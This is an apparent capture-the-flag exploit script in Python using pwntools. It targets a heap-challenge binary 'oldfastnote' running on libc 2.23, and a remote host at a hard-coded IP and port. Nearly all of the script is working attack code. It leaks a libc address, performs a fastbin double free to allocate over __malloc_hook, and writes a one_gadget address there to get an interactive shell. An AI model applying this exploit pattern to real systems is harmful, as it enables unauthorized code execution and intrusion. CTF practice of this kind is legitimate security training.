1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import * context.terminal = ['tmux','splitw','-h']
def payload(lo:int): global sh if lo: sh = process('./oldfastnote') if lo & 2: gdb.attach(sh) else: sh = remote('106.14.57.14', 30281) elf = ELF('eldering') libc = ELF('./libc-2.23.so')
def addn(idx:int, size:int, content:bytes=b' ', hooked:bool=False): sh.sendlineafter(b'ice:', b'1') sh.sendlineafter(b'Index', str(idx).encode()) sh.sendlineafter(b'Size', str(size).encode()) if hooked: return sh.sendlineafter(b'Content', content)
def deln(idx:int): sh.sendlineafter(b'ice:', b'3') sh.sendlineafter(b'Index', str(idx).encode())
def show(idx:int) -> bytes: sh.sendlineafter(b'ice:', b'2') sh.sendlineafter(b'Index: ', str(idx).encode()) return sh.recvline()
addn(15, 0x80) addn(14, 0x80) deln(15) ret = show(15)
dumpArena = libc.symbols['__malloc_hook'] + (libc.symbols['__malloc_hook'] - libc.symbols['__realloc_hook']) * 2 mainArena = u64(ret[:6] + b'\0\0') libcBase = mainArena - dumpArena - 0x58 print(f'\x1b[33mleak libcBase: {hex(libcBase)}\x1b[0m') mallocHook = libcBase + libc.symbols['__malloc_hook'] ogg = libcBase + 0xf1247 if (libcBase >> 40) & 0b1 != 1: print('\x1b[33mmalloc_hook can not be alloced!\x1b[0m') sh.close() return 0
addn(0, 0x60) addn(1, 0x60) deln(0) deln(1) deln(0) addn(2, 0x60, p64(mallocHook - 0x23)) addn(3, 0x60) addn(4, 0x60) addn(5, 0x60, b'\0'*0x13 + p64(ogg)) addn(6, 0x18, b'\0', True)
sh.clean() sh.interactive() return 1
|